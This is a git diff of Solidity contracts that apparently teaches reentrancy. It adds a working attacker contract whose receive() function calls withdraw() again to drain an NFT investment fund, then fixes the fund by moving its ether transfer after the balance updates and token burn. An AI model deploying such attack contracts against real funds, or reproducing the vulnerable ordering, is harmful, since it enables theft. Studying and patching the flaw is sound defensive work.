diff --git a/contracts/MallorysMaliciousMisappropriation.sol b/contracts/MallorysMaliciousMisappropriation.sol
index 9fddd3f..5f65a07 100644
--- a/contracts/MallorysMaliciousMisappropriation.sol
+++ b/contracts/MallorysMaliciousMisappropriation.sol
@@ -8,7 +8,37 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
 contract MallorysMaliciousMisappropriation is Ownable {
 	NftInvestmentFund public nftInvestmentFund;
 
+	error InvestmentFundNotEnded();
+	error FailedToSendEther();
+
 	constructor(address payable _nftInvestmentFundAddress) Ownable(msg.sender) {
 		nftInvestmentFund = NftInvestmentFund(_nftInvestmentFundAddress);
 	}
+
+	// Receive is called when the contract receives Ether
+	// solhint-disable-next-line no-complex-fallback
+	receive() external payable {
+		FundToken fundToken = FundToken(nftInvestmentFund.fundToken());
+		uint256 withdrawAmount = (nftInvestmentFund.balanceAtEnd() / nftInvestmentFund.fundTokensAtEnd()) *
+			fundToken.balanceOf(address(this));
+
+		// The attack
+		if (address(nftInvestmentFund).balance >= withdrawAmount) {
+			nftInvestmentFund.withdraw();
+		}
+	}
+
+	function attack() external onlyOwner {
+		if (!nftInvestmentFund.ended()) revert InvestmentFundNotEnded();
+
+		FundToken fundToken = FundToken(nftInvestmentFund.fundToken());
+		fundToken.approve(address(nftInvestmentFund), fundToken.balanceOf(address(this)));
+
+		nftInvestmentFund.withdraw();
+	}
+
+	function withdraw() external onlyOwner {
+		(bool sent, ) = payable(msg.sender).call{ value: address(this).balance }("");
+		if (!sent) revert FailedToSendEther();
+	}
 }
diff --git a/contracts/NftInvestmentFund.sol b/contracts/NftInvestmentFund.sol
index f7fc628..bfd3b3a 100644
--- a/contracts/NftInvestmentFund.sol
+++ b/contracts/NftInvestmentFund.sol
@@ -90,13 +90,13 @@ contract NftInvestmentFund is AccessControl, IERC721Receiver {
 		if (balanceAtEnd > 0 && fundTokensAtEnd > 0 && fundToken.balanceOf(msg.sender) > 0) {
 			uint256 withdrawAmount = (balanceAtEnd / fundTokensAtEnd) * fundToken.balanceOf(msg.sender);
 
-			(bool sent, ) = payable(msg.sender).call{ value: withdrawAmount }("");
-			require(sent, "Failed to send Ether");
-
 			// Their tokens are burnt so that they cannot withdraw twice
 			balanceAtEnd -= withdrawAmount;
 			fundTokensAtEnd -= fundToken.balanceOf(msg.sender);
 			fundToken.burnFrom(msg.sender, fundToken.balanceOf(msg.sender));
+
+			(bool sent, ) = payable(msg.sender).call{ value: withdrawAmount }("");
+			require(sent, "Failed to send Ether");
 		}
 	}